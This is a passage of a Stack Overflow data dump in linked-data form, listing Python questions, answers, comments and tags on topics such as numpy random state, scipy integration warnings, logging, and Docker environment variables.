has body: I have a Python dict in this format: test_scr = { "visited_pages" : [ { "visited_page_id" : { "$oid" : "57d01dd3f1a475f7307b23d9" }, "url" : "google.com", "page_height" : "3986", "visited_on" : { "$date" : 1473256915000 }, "visited_page_clicks" : [ { "x" : "887", "y" : "35", "page_height" : "3986", "created" : { "$date" : 1473256920000 } } ], "total_clicks" : 1, "total_time_spent_in_minutes" : "0.10", "total_mouse_moves" : 0 }, { "visited_page_id" : { "$oid" : "57d01dddf1a475a6377b23d4" }, "url" : "google.com", "page_height" : "3088", "visited_on" : { "$date" : 1473256925000 }, "visited_page_clicks" : [ { "x" : "888", "y" : "381", "page_height" : "3088", "created" : { "$date" : 1473256934000 } },{ "x" : "888", "y" : "381", "page_height" : "3088", "created" : { "$date" : 1473256935000 } },{ "x" : "875", "y" : "364", "page_height" : "3088", "created" : { "$date" : 1473256936000 } },{ "x" : "875", "y" : "364", "page_height" : "3088", "created" : { "$date" : 1473256936000 } }, { "x" : "875", "y" : "364", "page_height" : "3088", "created" : { "$date" : 1473256937000 } },{ "x" : "1347", "y" : "445", "page_height" : "3088", "created" : { "$date" : 1473256942000 } },{ "x" : "259", "y" : "798", "page_height" : "3018", "created" : { "$date" : 1473257244000 } },{ "x" : "400", "y" : "98", "page_height" : "3088", "created" : { "$date" : 1473257785000 } }],"total_clicks" : 8, "total_time_spent_in_minutes" : "14.26", "total_mouse_moves" : 0 }, { "visited_page_id" : { "$oid" : "57d0213ff1a475a6377b23d5" },"url" : "google.com", "page_height" : "3088", "visited_on" : { "$date" : 1473257791000 },"visited_page_clicks" : [ { "x" : "805", "y" : "425", "page_height" : "3088", "created" : { "$date" : 1473257826000 } }, { "x" : "523", "y" : "100", "page_height" : "3088", "created" : { "$date" : 1473257833000 } } ], "total_clicks" : 2, "total_time_spent_in_minutes" : "0.47", "total_mouse_moves" : 0 } } I have to extract only X and Y values from the dict in this and store them in a matrix for…
accepted answer: http://stackoverflow.com/a/49442933
type: AnsweredQuestion
tagged with: python-2.7
has answer: http://stackoverflow.com/a/49442933
downvote count: 3
tagged with: python
has comment: http://stackoverflow.com/comment/85893280
tagged with: analysis
possible better answer: http://stackoverflow.com/a/49443007
type: Question
has comment: http://stackoverflow.com/comment/85947666
has comment: http://stackoverflow.com/comment/85924728
tagged with: mongodb
has comment: http://stackoverflow.com/comment/85893665
answer count: 2

http://stackoverflow.com/q/49452755
has title: How is random state updated after calling np.random.shuffle()? and how is it impacted by the length of the list to be shuffled?
tagged with: python
linked to: http://stackoverflow.com/q/49188162
type: AnsweredQuestion
tagged with: random
tagged with: shuffle
score: 1
answer count: 1
downvote count: 0
upvote count: 1
has body: How is the random state updated after calling np.random.shuffle()? and how is it impacted by the length of the list to be shuffled? Here is the experiment: np.random.seed(3) print(np.random.get_state()[0],str(np.random.get_state()[1][:5])) delta = 7 for t in [3,7,8, 9, 10]: print('-'*20) x = np.power(2, t) np.random.seed(3) a =np.arange(x-delta) np.random.shuffle(a) print(x-delta, np.random.get_state()[0],str(np.random.get_state()[1][:5])) np.random.seed(3) a =np.arange(x) np.random.shuffle(a) print(x, np.random.get_state()[0],str(np.random.get_state()[1][:5])) np.random.seed(3) a =np.arange(x+delta) np.random.shuffle(a) print(x+delta, np.random.get_state()[0],str(np.random.get_state()[1][:5])) and the result: MT19937 [ 3 1142332464 3889748055 3734916391 3619205944] -------------------- 1 MT19937 [ 3 1142332464 3889748055 3734916391 3619205944] 8 MT19937 [2266350226 522119106 3046352735 732669494 2548320174] 15 MT19937 [2266350226 522119106 3046352735 732669494 2548320174] -------------------- 121 MT19937 [2266350226 522119106 3046352735 732669494 2548320174] 128 MT19937 [2266350226 522119106 3046352735 732669494 2548320174] 135 MT19937 [2266350226 522119106 3046352735 732669494 2548320174] -------------------- 249 MT19937 [2266350226 522119106 3046352735 732669494 2548320174] 256 MT19937 [2266350226 522119106 3046352735 732669494 2548320174] 263 MT19937 [2266350226 522119106 3046352735 732669494 2548320174] -------------------- 505 MT19937 [3210938781 3041878801 2995991318 2989044749 4131327847] 512 MT19937 [3210938781 3041878801 2995991318 2989044749 4131327847] 519 MT19937 [3210938781 3041878801 2995991318 2989044749 4131327847] -------------------- 1017 MT19937 [2643427254 2135041851 1650564992 768318449 937622320] 1024 MT19937 [2643427254 2135041851 1650564992 768318449 937622320] 1031 MT19937 [2643427254 2135041851 1650564992 768318449 937622320] Thank you very much.
accepted answer: http://stackoverflow.com/a/49470889
favorite count: 0
type: Question
tagged with: numpy
has answer: http://stackoverflow.com/a/49470889

http://stackoverflow.com/a/49565883
score: 0
has comment: http://stackoverflow.com/comment/86286973
type: Answer
has body: Alternative ugliness with context manager? my_obj.child_object = mock.Mock() with mock.patch('__main__.my_obj.child_object.meth1_call().meth2_call')\ as m: m.return_value = [custom_list]
answers question: http://stackoverflow.com/q/49512555
has comment: http://stackoverflow.com/comment/86267912

django-database
type: Tag
tags question: http://stackoverflow.com/q/49519653
tag name: django-database

http://stackoverflow.com/comment/85932196
type: Comment
comment on: http://stackoverflow.com/q/49464637
score: 1
type: QuestionComment
has text: Short answer - yes. For a longer answer, you'll have to elaborate a bit more on what exactly you're trying to achieve, and what you've tried so far.

http://stackoverflow.com/comment/86013088
comment on: http://stackoverflow.com/q/49504321
type: Comment
has text: What is the logic to split a 3 digit number to dig1 and dig2 ?
score: 0
type: QuestionComment

http://stackoverflow.com/a/49546598
answers question: http://stackoverflow.com/q/49487158
score: 0
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/49487158
has body: This problem is fixed by simply change the expression record_vector = tf.decode_raw(raw_record, tf.uint8) to record_vector = raw_record, it seems the items in the dataset of cifar are not tensors.
type: Answer

http://stackoverflow.com/a/49558999
answers question: http://stackoverflow.com/q/49555969
score: 3
upvote count: 3
downvote count: 0
accepted answer of: http://stackoverflow.com/q/49555969
type: Answer
type: AcceptedAnswer
has body: First you must be able to get the cornerWidget which is a QAbstractButton, for that we use findChild. Then we use sort(-1) that invalidates the ordering and places it in the initial state. class MainWindow(QtGui.QMainWindow): def __init__(self): ... self.setCentralWidget(self.tableView) cornerButton = self.tableView.findChild(QtGui.QAbstractButton) cornerButton.clicked.connect(lambda: self.proxy.sort(-1))
has comment: http://stackoverflow.com/comment/114110908

http://stackoverflow.com/comment/86133546
comment on: http://stackoverflow.com/q/49562654
score: 0
has text: I need this to be done in python...
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/86031056
type: Comment
has text: "which is the same as" is a confusing statement, since the with block will call `__exit__()` in the end, whereas there is no guaranteed cleanup at the end of the for loop
type: AnswerComment
comment on: http://stackoverflow.com/a/49513181
score: 1

http://stackoverflow.com/q/49501864
answer count: 1
downvote count: 0
upvote count: 1
tagged with: scipy
favorite count: 0
accepted answer: http://stackoverflow.com/a/49506813
type: Question
has answer: http://stackoverflow.com/a/49506813
has body: I'm trying to integrate a complicated combination of functions using scipy.integration.quadrature, and it's throwing accuracy warnings, and the 'Latest difference' values are (gulp) nan: 'C:\Program Files\Anaconda3\lib\site-packages\scipy\integrate\quadrature.py:199: AccuracyWarning: maxiter (1000) exceeded. Latest difference = nan' The problem seems similar to this post, but using a different integration method, and the parameters are different. SciPy Quad Integration: Accuracy Warning Rather than post the original set of functions, here is an example of a simpler function that also throws the warning, although the 'Latest difference' values here are actually defined numbers. def func(phi): return phi**3 def func2(phi): return 1/(phi) def int(phi): return func(phi)/abs(2/func2(phi)**5) res, err = integrate.quadrature(int, 0, 1, maxiter=10) print("The numerical result is {:f} (+-{:g})" .format(res, err)) Question: why is this behaviour (warning and values) occurring? I note that raising the value of the maxiter value here (eg by powers of 10) drastically changes the result, but the Latest difference values increase - suggests the integral is diverging from a result. Interestingly, use of scipy.integration.quad with the same inputs gives the warning 'The integral is probably divergent, or slowly convergent. warnings.warn(msg, IntegrationWarning)'. So is this just a case of a bad choice of function for the integration? Note this is not the actual function, but one that seems to give similar (but not identical) behaviour.
linked to: http://stackoverflow.com/q/24091411
tagged with: python
has title: scipy quadrature integration accuracy warning and nan difference values
tagged with: numerical-integration
type: AnsweredQuestion
score: 1

http://stackoverflow.com/comment/86025201
type: QuestionComment
comment on: http://stackoverflow.com/q/49510536
has text: Use `df['location.display_name'].str.split(',').str[0]`?
score: 0
type: Comment

http://stackoverflow.com/comment/86130338
score: 1
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49559560
has text: Also, it does not appear to be a loading issue. My assumption is that there is an overlay for the button that is making it un-clickable.

http://stackoverflow.com/comment/86029666
comment on: http://stackoverflow.com/q/49511956
type: Comment
type: QuestionComment
score: 0
has text: How about `exec` on the string containing the uncommented file? `exec` is unsafe and should only be used on trusted input though (but the same is probably true for importing as well)

http://stackoverflow.com/comment/86085183
comment on: http://stackoverflow.com/q/49538395
score: 0
type: Comment
type: QuestionComment
has text: Also `Rem this is a comment using a deprecated but legal syntax` ;-)

http://stackoverflow.com/a/49580405
type: Answer
has comment: http://stackoverflow.com/comment/86168998
has comment: http://stackoverflow.com/comment/86169129
accepted answer of: http://stackoverflow.com/q/49580329
has comment: http://stackoverflow.com/comment/86168958
score: 5
has comment: http://stackoverflow.com/comment/86169220
answers question: http://stackoverflow.com/q/49580329
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/86169295
has comment: http://stackoverflow.com/comment/86169151
has comment: http://stackoverflow.com/comment/86169053
has body: Adding __len__ to an object is not working (see this link added by Aran-Fey why). A function is just an object defining a __call__ method. You can define a class like this: class Foo: def __call__(self): return True def __len__(self): return 5 Using it: &gt;&gt;&gt; foo=Foo() &gt;&gt;&gt; foo() True &gt;&gt;&gt; len(foo) 5 It is possible to create a function which is having a length, but you should consider the use case. Python gives you a lot of power, but not everything what's possible is actually a good idea.
upvote count: 5

http://stackoverflow.com/a/49534774
answers question: http://stackoverflow.com/q/49499279
type: AcceptedAnswer
score: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/49499279
has body: Because name resolution happens before the request is made, it's not subject to the timeout. You can prevent this error in name resolution by providing the IP for the host in your /etc/hosts file. For example, if the host is subdomain.example.com and the IP is 10.10.10.10 you would add the following line in the /etc/hosts file 10.10.10.10 subdomain.example.com Alternatively, you may be able to simply use the IP address directly, however, some webservers require you use the hostname, in which case you'll need to modify the hosts file to use the name offline.

grep
tags question: http://stackoverflow.com/q/49588073
type: Tag
tag name: grep

http://stackoverflow.com/q/49513940
has answer: http://stackoverflow.com/a/49514126
answer count: 1
tagged with: cgi
has title: Import makes Python-CGI crash (error 500)
type: Question
has body: Being script1.py: import cgi import cgitb print("Content-type:text/html\r\n\r\n") print("hello") and script2.py: import cgi import cgitb import pymysql print("Content-type:text/html\r\n\r\n") print("hello") In script1.py everything works fine (prints 'hello'), but script2.py returns a 500 error. Considerations: pymysql is installed and the proof is that it can be imported from the python interactive shell without trhowing any exception both files have the same permissions Then, why script2.py doesn't work?
tagged with: pymysql
tagged with: python
accepted answer: http://stackoverflow.com/a/49514126
type: AnsweredQuestion
score: 0

http://stackoverflow.com/comment/85925468
type: AnswerComment
comment on: http://stackoverflow.com/a/49460245
score: 0
type: Comment
has text: You could also use `itertools.islice` instead of a generator in `sum_series`.

http://stackoverflow.com/comment/86016293
score: 0
has text: your `for` loop doesn't do at all what it's supposed to do...
comment on: http://stackoverflow.com/q/49504932
type: Comment
type: QuestionComment

http://stackoverflow.com/q/49517050
possible better answer: http://stackoverflow.com/a/76099037
has comment: http://stackoverflow.com/comment/86039535
has body: I have written a program that learns to add, from sklearn import linear_model from random import randint reg=linear_model.LinearRegression() x=[[randint(0,100),randint(0,100)] for i in range(1000)] Y=[i[0]+i[1] for i in x] reg.fit(x, Y) print(reg.pred([[56, 23]]) # OUTPUT : 79 Please help me with this program if i want it to do multiplication, i get very low accuracy. Please make as less changes as possible to the program as i am a newbie. !!Thanks in Advance!!
has title: Learn to multiply using Scikit-Learn
type: AnsweredQuestion
downvote count: 1
tagged with: python
score: -1
has comment: http://stackoverflow.com/comment/86039682
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/86040354
upvote count: 0
has comment: http://stackoverflow.com/comment/86040210
answer count: 2
tagged with: machine-learning
has answer: http://stackoverflow.com/a/49517171
tagged with: scikit-learn
accepted answer: http://stackoverflow.com/a/49517171
has answer: http://stackoverflow.com/a/76099037

http://stackoverflow.com/a/49580476
upvote count: 42
has comment: http://stackoverflow.com/comment/86168885
has comment: http://stackoverflow.com/comment/86168983
type: AcceptedAnswer
has body: You can use the logging module to accomplish this. At the very easiest level, it will be set up like this: logging.basicConfig(filename="logfilename.log", level=logging.INFO) There are a number of different levels that you can use to write to the file, such as: logging.info('your text goes here') logging.error('your text goes here') logging.debug('your text goes here') You can use these lines anywhere that you want to log to the file. If you want to replace the console printing with logging all together, just replace the print lines with logging.info(.......) For more info on the topic, such as more configurable options (such as timestamps), check the docs (python 3): https://docs.python.org/3/library/logging.html
has comment: http://stackoverflow.com/comment/117803691
has comment: http://stackoverflow.com/comment/86169046
answers question: http://stackoverflow.com/q/49580313
has comment: http://stackoverflow.com/comment/114022394
accepted answer of: http://stackoverflow.com/q/49580313
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/86168867
score: 42

http://stackoverflow.com/a/49474404
has body: Try striping any trailing space from string. Replace ans = conect.login(user, password) with ans = conect.login(user.strip(), password.strip())
type: Answer
accepted answer of: http://stackoverflow.com/q/49472416
score: 1
type: AcceptedAnswer
downvote count: 0
upvote count: 1
answers question: http://stackoverflow.com/q/49472416

http://stackoverflow.com/comment/86003324
type: Comment
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/49499430
has text: Thank you for your reply. There is not an issue, just an improvement. For exemple var altsep shows just string and in Atom it shows the content of the var => '/'.

http://stackoverflow.com/comment/86190202
has text: This is a much simpler version. Thank you so much for this. I understand this much better now.
type: AnswerComment
comment on: http://stackoverflow.com/a/49591107
score: 0
type: Comment

http://stackoverflow.com/comment/86359224
comment on: http://stackoverflow.com/q/49554650
score: 1
type: Comment
type: QuestionComment
has text: Hello Ash, I found the trick. These crossing-shape noises are caused by the deconvolutional layer in my network. Let's say we have a feature map of **32x32** and we want to get the feature map with the size of **256x256**, so we have to use the deconvolutional layer with a stride of **8x8** to do the deconvolution, thus a lot of zero pixels are added to the feature map, that is why these crossing shape occurs. To deal with this, we have to enlarge our kernel size twice as the stride. In the above example we need choose a *16x16* kernel so that our filter will not fall into those zeros.

nested-lists
tags question: http://stackoverflow.com/q/49502782
type: Tag
tags question: http://stackoverflow.com/q/49519560
tag name: nested-lists
tags question: http://stackoverflow.com/q/49563500

http://stackoverflow.com/a/49509049
downvote count: 0
upvote count: 1
score: 1
answers question: http://stackoverflow.com/q/49508862
type: Answer
has body: Maybe this is what you want: &gt;&gt;&gt; import datetime &gt;&gt;&gt; d = datetime.datetime(2017, 1, 13, 23, 50) &gt;&gt;&gt; print("datetime.datetime({d.year}, {d.month}, {d.day}, {d.hour}, {d.minute}, {d.second})".format(d=d)) datetime.datetime(2017, 1, 13, 23, 50, 0) I still don't see why you would want this though.
has comment: http://stackoverflow.com/comment/86026575

http://stackoverflow.com/a/49598339
accepted answer of: http://stackoverflow.com/q/49597963
has body: Here's a simple recursive function. Since all the nested dicts are the same, the function simply recurses once to build the sub-dict, and then copies it for each value with copy.deepcopy. import copy def dictify(lst): if not lst: return [] sub_dict = dictify(lst[1:]) return {value: copy.deepcopy(sub_dict) for value in lst[0]} Pretty-printed output of dictify(DL): {'A1': {'A11': {'B1': {'B11': [], 'B12': []}}, 'A12': {'B1': {'B11': [], 'B12': []}}}}
type: AcceptedAnswer
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/49597963
score: 3
upvote count: 3

http://stackoverflow.com/comment/86048919
score: 0
type: Comment
type: QuestionComment
has text: Couldn't you do this `re.sub(r'("[^"]+")(:\s*)("[^"]+")', "\\3\\2\\1", str, 0)`?
comment on: http://stackoverflow.com/q/49521321

http://stackoverflow.com/a/49576070
accepted answer of: http://stackoverflow.com/q/49575549
has body: When I write Python in windows and have to deal with paths, I simply use forward slashes instead of back slashes. Sure, you can do proper escaping but it always turns into a hassle of errors it seems. So, change all your \ to / So in this case, write this: folder_output = "F:/Extractor/Extracted/" And you should be good to go!
type: Answer
score: 1
answers question: http://stackoverflow.com/q/49575549
type: AcceptedAnswer
downvote count: 0
upvote count: 1

http://stackoverflow.com/q/49474401
favorite count: 0
type: Question
upvote count: 4
answer count: 2
has answer: http://stackoverflow.com/a/49475081
downvote count: 0
tagged with: python
accepted answer: http://stackoverflow.com/a/49479593
has title: why cv2.bitwise_and function of opencv-python returns four element array on single scalar value
tagged with: opencv
has answer: http://stackoverflow.com/a/49479593
type: AnsweredQuestion
score: 4
has body: I'm trying to understand cv2.bitwise_and function of opencv-python. So I tried it as: import cv2 cv2.bitwise_and(1,1) above code returns array([[1.], [0.], [0.], [0.]]) I don't understand why it returns this. Documentation says : dst(I) = src1(I) ^ src2(I) if mask(I) != 0 according to this output should be single value 1. where am I going wrong?
possible better answer: http://stackoverflow.com/a/49475081

http://stackoverflow.com/comment/88209684
type: Comment
comment on: http://stackoverflow.com/q/49595175
score: 0
has text: were you able to solve this issue?
type: QuestionComment

http://stackoverflow.com/q/49597473
linked to: http://stackoverflow.com/q/2475518
has comment: http://stackoverflow.com/comment/86202245
favorite count: 0
type: Question
answer count: 2
has comment: http://stackoverflow.com/comment/86202190
type: UnansweredQuestion
tagged with: python
downvote count: 5
has comment: http://stackoverflow.com/comment/86203874
upvote count: 0
tagged with: indexing
tagged with: list
score: -5
has answer: http://stackoverflow.com/a/49597506
tagged with: random
has body: append will add an item to the end of the list. l = [1,2,3,4] l.append(5) outputs [1, 2, 3, 4, 5] now instead of adding 5 at the end of the list I would like to add it to a random location in the list. let's say 5 is being added to index 2. Number 3 will move one index forward. [1,2,5,3,4]
has title: How can I append an item in a random location in a list in python?
has answer: http://stackoverflow.com/a/49597501

http://stackoverflow.com/comment/86100016
score: 0
type: AnswerComment
has text: awesome. I forgot I cannot pass a variable into a class, but require a constructor.
type: Comment
comment on: http://stackoverflow.com/a/49546193

http://stackoverflow.com/comment/86132843
type: Comment
type: QuestionComment
has text: Can you show the actual text of the error you receive? I wonder if the problem is in python being unable to find the module...did you make sure that python knows how to get to the specified module?
comment on: http://stackoverflow.com/q/49562375
score: 2

http://stackoverflow.com/a/49501824
type: AcceptedAnswer
has body: I managed to get it working by adding a Proxy-Authorization header. proxy_auth = "&lt;APIKEY&gt;:" headers = { # other headers ... "Proxy-Authorization": 'Basic ' + base64.b64encode(proxy_auth) } proxies = { "https": "https://{}:{}/".format(proxy_host, proxy_port), "http": "http://{}:{}/".format(proxy_host, proxy_port) } r = requests.get(url, headers=headers, proxies=proxies, verify=False)
answers question: http://stackoverflow.com/q/49490364
type: Answer
accepted answer of: http://stackoverflow.com/q/49490364
score: 0
has comment: http://stackoverflow.com/comment/110121650

http://stackoverflow.com/comment/86087770
has text: Also, there's an indentation issue in your program. The line `x += 1` should be inside the `if` statement.
comment on: http://stackoverflow.com/q/49540229
score: 1
type: Comment
type: QuestionComment

http://stackoverflow.com/q/49567912
has comment: http://stackoverflow.com/comment/86151299
answer count: 2
downvote count: 0
upvote count: 1
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/49577075
favorite count: 0
type: Question
has title: How to fit data with two set of independent variables
score: 1
tagged with: lmfit
tagged with: curve-fitting
has comment: http://stackoverflow.com/comment/86159761
tagged with: python
has body: i have this equation a*(t^alpha)*(p_p^beta) that i want to fit to get the alpha and beta values where t and p_p are the independent variables. My questions is how do i write the final fit model (result) expression. result = model.fit(S_L1, params, t=t, p_p=p_p) I tried something like the above expression but i am getting this error: ValueError: The input contains nan values # Calculating unburned mass temperature T_u = T_i*(p_filter/p_i)**((k_u-1)/k_u) # Linear unburned temperature t = T_u/T_i p_p = p_filter/p_i # Model function. def mod_m(t, p_p, a=1, alpha=1,beta=1): # Define function with initial guesses return a*(t**alpha)*(p_p**beta) # Function for fitting # Fitting model. model = Model(mod_m, independent_vars=['t','p_p'] ) # Making a set of parameters: params = model.make_params(a=10) # Setting min/max bounds on parameters: params['alpha'].min = 0.0 params['beta'].min = 0.0 params['a'].min = 0.0 params['a'].max = 1e6 # Run the fit with Model.fit(Data_Array, Parameters, independent vars). result = model.fit(S_L1, params, t=t, p_p=p_p)
has answer: http://stackoverflow.com/a/49583601

http://stackoverflow.com/comment/86193050
comment on: http://stackoverflow.com/q/49591987
score: 0
type: Comment
has text: I edited, but it was better with the prints.
type: QuestionComment

http://stackoverflow.com/comment/86006472
has text: @AntonvBR, i will add photos in post ok? cuz there i cant post photos
score: 0
comment on: http://stackoverflow.com/a/49498865
type: Comment
type: AnswerComment

http://stackoverflow.com/q/49536180
has title: Docker-compose env var missing after save and load
type: AnsweredQuestion
score: 0
tagged with: docker-compose
has comment: http://stackoverflow.com/comment/86080219
has comment: http://stackoverflow.com/comment/86080185
has comment: http://stackoverflow.com/comment/86079254
tagged with: python
has body: I'm trying to deploy a flask instance with docker-compose based on this config : docker-compose.yml version: '2' services: flask: container_name: myproject image: myproject build: . env_file: dev.env ports: - "5000:5000" dev.env FLASK_HOST=0.0.0.0 FLASK_PORT=5000 FLASK_DEBUG=1 Dockerfile FROM ubuntu:latest RUN apt-get update -y RUN apt-get install -y python-pip python-dev build-essential RUN mkdir /app WORKDIR /app COPY requirements.txt /app/requirements.txt RUN pip install --upgrade pip RUN pip install -r requirements.txt COPY . /app CMD python ./app/run.py EXPOSE ${FLASK_PORT} Everything works fine locally, but when I try to load the image backup and run it in a container on another machine, I get the following error : Traceback (most recent call last): File "./app/run.py", line 10, in &lt;module&gt; port = int(os.environ.get("FLASK_PORT")) TypeError: int() argument must be a string or a number, not 'NoneType' It seems that there are no more environment variables. Did I miss something ?
tagged with: environment-variables
answer count: 1
accepted answer: http://stackoverflow.com/a/49536796
tagged with: flask
has comment: http://stackoverflow.com/comment/86082910
has answer: http://stackoverflow.com/a/49536796
type: Question
tagged with: docker
has comment: http://stackoverflow.com/comment/86079744

mysql
tags question: http://stackoverflow.com/q/49584227
tags question: http://stackoverflow.com/q/49468264
tags question: http://stackoverflow.com/q/49570363
tags question: http://stackoverflow.com/q/49515830
type: Tag
tags question: http://stackoverflow.com/q/49527868
tags question: http://stackoverflow.com/q/49572303
tags question: http://stackoverflow.com/q/49523949
tags question: http://stackoverflow.com/q/49528905
tags question: http://stackoverflow.com/q/49524566
tags question: http://stackoverflow.com/q/49482870
tag name: mysql
tags question: http://stackoverflow.com/q/49519199
tags question: http://stackoverflow.com/q/49514038
tags question: http://stackoverflow.com/q/49553774
tags question: http://stackoverflow.com/q/49456254
tags question: http://stackoverflow.com/q/49530021
tags question: http://stackoverflow.com/q/49456006
tags question: http://stackoverflow.com/q/49475793
tags question: http://stackoverflow.com/q/49459074
tags question: http://stackoverflow.com/q/49590718
tags question: http://stackoverflow.com/q/49442603
tags question: http://stackoverflow.com/q/49448309
tags question: http://stackoverflow.com/q/49486097
tags question: http://stackoverflow.com/q/49502332
tags question: http://stackoverflow.com/q/49584276
tags question: http://stackoverflow.com/q/49502579
tags question: http://stackoverflow.com/q/49490879
tags question: http://stackoverflow.com/q/49525028
tags question: http://stackoverflow.com/q/49547377
tags question: http://stackoverflow.com/q/49531168
tags question: http://stackoverflow.com/q/49488120
tags question: http://stackoverflow.com/q/49458052
tags question: http://stackoverflow.com/q/49529084
tags question: http://stackoverflow.com/q/49470776
tags question: http://stackoverflow.com/q/49554609

http://stackoverflow.com/comment/85990328
type: Comment
comment on: http://stackoverflow.com/q/49493357
type: QuestionComment
has text: Do you have a *Python* module (file called *csv.py*, or a folder called *csv* containing a *\_\_init\_\_.py* file) in your local folder?
score: 1

http://stackoverflow.com/comment/85994850
has text: The `command=` option of a Button is a function that gets called by Tkinter, not by any code of yours - therefore any value it might return is meaningless. Anything that needs to be done with the selected filename, needs to be done from within `OpenFile()` itself.
score: 1
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49495335

list
tags question: http://stackoverflow.com/q/49449408
tags question: http://stackoverflow.com/q/49592819
tags question: http://stackoverflow.com/q/49516619
type: Tag
tags question: http://stackoverflow.com/q/49539761
tags question: http://stackoverflow.com/q/49560753
tags question: http://stackoverflow.com/q/49520600
tags question: http://stackoverflow.com/q/49475947
tags question: http://stackoverflow.com/q/49461391
tags question: http://stackoverflow.com/q/49470165
tags question: http://stackoverflow.com/q/49444787
tags question: http://stackoverflow.com/q/49563760
tags question: http://stackoverflow.com/q/49464719
tags question: http://stackoverflow.com/q/49475699
tags question: http://stackoverflow.com/q/49597963
tags question: http://stackoverflow.com/q/49508597
tags question: http://stackoverflow.com/q/49458305
tags question: http://stackoverflow.com/q/49590863
tags question: http://stackoverflow.com/q/49459775
tags question: http://stackoverflow.com/q/49514374
tags question: http://stackoverflow.com/q/49591881
tags question: http://stackoverflow.com/q/49590484
tags question: http://stackoverflow.com/q/49505310
tags question: http://stackoverflow.com/q/49534326
tags question: http://stackoverflow.com/q/49533181
tags question: http://stackoverflow.com/q/49466947
tags question: http://stackoverflow.com/q/49501891
tags question: http://stackoverflow.com/q/49583135
tags question: http://stackoverflow.com/q/49449725
tags question: http://stackoverflow.com/q/49594623
tags question: http://stackoverflow.com/q/49594953
tags question: http://stackoverflow.com/q/49496188
tags question: http://stackoverflow.com/q/49463141
tags question: http://stackoverflow.com/q/49467050
tags question: http://stackoverflow.com/q/49465795
tags question: http://stackoverflow.com/q/49534125
tags question: http://stackoverflow.com/q/49584044
tags question: http://stackoverflow.com/q/49592796
tags question: http://stackoverflow.com/q/49493545
tags question: http://stackoverflow.com/q/49595038
tags question: http://stackoverflow.com/q/49477593
tags question: http://stackoverflow.com/q/49475436
tags question: http://stackoverflow.com/q/49524045
tags question: http://stackoverflow.com/q/49463297
tags question: http://stackoverflow.com/q/49481013
tags question: http://stackoverflow.com/q/49509895
tags question: http://stackoverflow.com/q/49451001
tags question: http://stackoverflow.com/q/49553435
tags question: http://stackoverflow.com/q/49481787
tags question: http://stackoverflow.com/q/49514911
tags question: http://stackoverflow.com/q/49497295
tags question: http://stackoverflow.com/q/49482480
tags question: http://stackoverflow.com/q/49502004
tags question: http://stackoverflow.com/q/49571132
tags question: http://stackoverflow.com/q/49502697
tags question: http://stackoverflow.com/q/49496609
tags question: http://stackoverflow.com/q/49524189
tags question: http://stackoverflow.com/q/49457033
tags question: http://stackoverflow.com/q/49465870
tags question: http://stackoverflow.com/q/49553423
tags question: http://stackoverflow.com/q/49457558
tags question: http://stackoverflow.com/q/49545251
tags question: http://stackoverflow.com/q/49583811
tags question: http://stackoverflow.com/q/49440455
tags question: http://stackoverflow.com/q/49563010
tags question: http://stackoverflow.com/q/49581835
tags question: http://stackoverflow.com/q/49577377
tags question: http://stackoverflow.com/q/49594286
tags question: http://stackoverflow.com/q/49484740
tags question: http://stackoverflow.com/q/49515584
tags question: http://stackoverflow.com/q/49560246
tags question: http://stackoverflow.com/q/49535754
tags question: http://stackoverflow.com/q/49504033
tags question: http://stackoverflow.com/q/49490389
tags question: http://stackoverflow.com/q/49594415
tags question: http://stackoverflow.com/q/49515359
tags question: http://stackoverflow.com/q/49486426
tags question: http://stackoverflow.com/q/49531615
tags question: http://stackoverflow.com/q/49519687
tags question: http://stackoverflow.com/q/49495506

http://stackoverflow.com/q/49459459
has title: threshold_local returns a different result than threshold_adaptive in scikit-image
tagged with: threshold
answer count: 1
downvote count: 0
tagged with: image-processing
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/49469482
has body: I'm reproducing this example from the documentation: import matplotlib.pyplot as plt from skimage import data from skimage.filters import threshold_otsu, threshold_adaptive image = data.page() global_thresh = threshold_otsu(image) binary_global = image &gt; global_thresh block_size = 35 binary_adaptive = threshold_adaptive(image, block_size, offset=10) fig, axes = plt.subplots(nrows=3, figsize=(7, 8)) ax0, ax1, ax2 = axes plt.gray() ax0.imshow(image) ax0.set_title('Image') ax1.imshow(binary_global) ax1.set_title('Global thresholding') ax2.imshow(binary_adaptive) ax2.set_title('Adaptive thresholding') for ax in axes: ax.axis('off') plt.show() There threshold_adaptive, but it raises a warning: "UserWarning: The return value of threshold_local is a threshold image, while threshold_adaptive returned the thresholded image" But when I use threshold_adaptive the result is different:
has comment: http://stackoverflow.com/comment/85937816
has answer: http://stackoverflow.com/a/49469482
tagged with: scikit-image
tagged with: python
score: 4
upvote count: 4
type: AnsweredQuestion

http://stackoverflow.com/comment/86107695
has text: Hey, did you try using pymongo? Can you show me the way you did it?
comment on: http://stackoverflow.com/q/49505410
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/comment/85884913
type: AnswerComment
has text: I understand, I was once a beginner (well, still am, but hey). I used to spam `apply` and answer really basic questions without knowing better. Hang in there, you'll get your badge soon if you're dedicated enough.
score: 0
comment on: http://stackoverflow.com/a/49441176
type: Comment

google-bigquery
tags question: http://stackoverflow.com/q/49445759
tags question: http://stackoverflow.com/q/49516225
type: Tag
tags question: http://stackoverflow.com/q/49542974
tag name: google-bigquery
tags question: http://stackoverflow.com/q/49540692

http://stackoverflow.com/q/49443020
tagged with: python-3.x
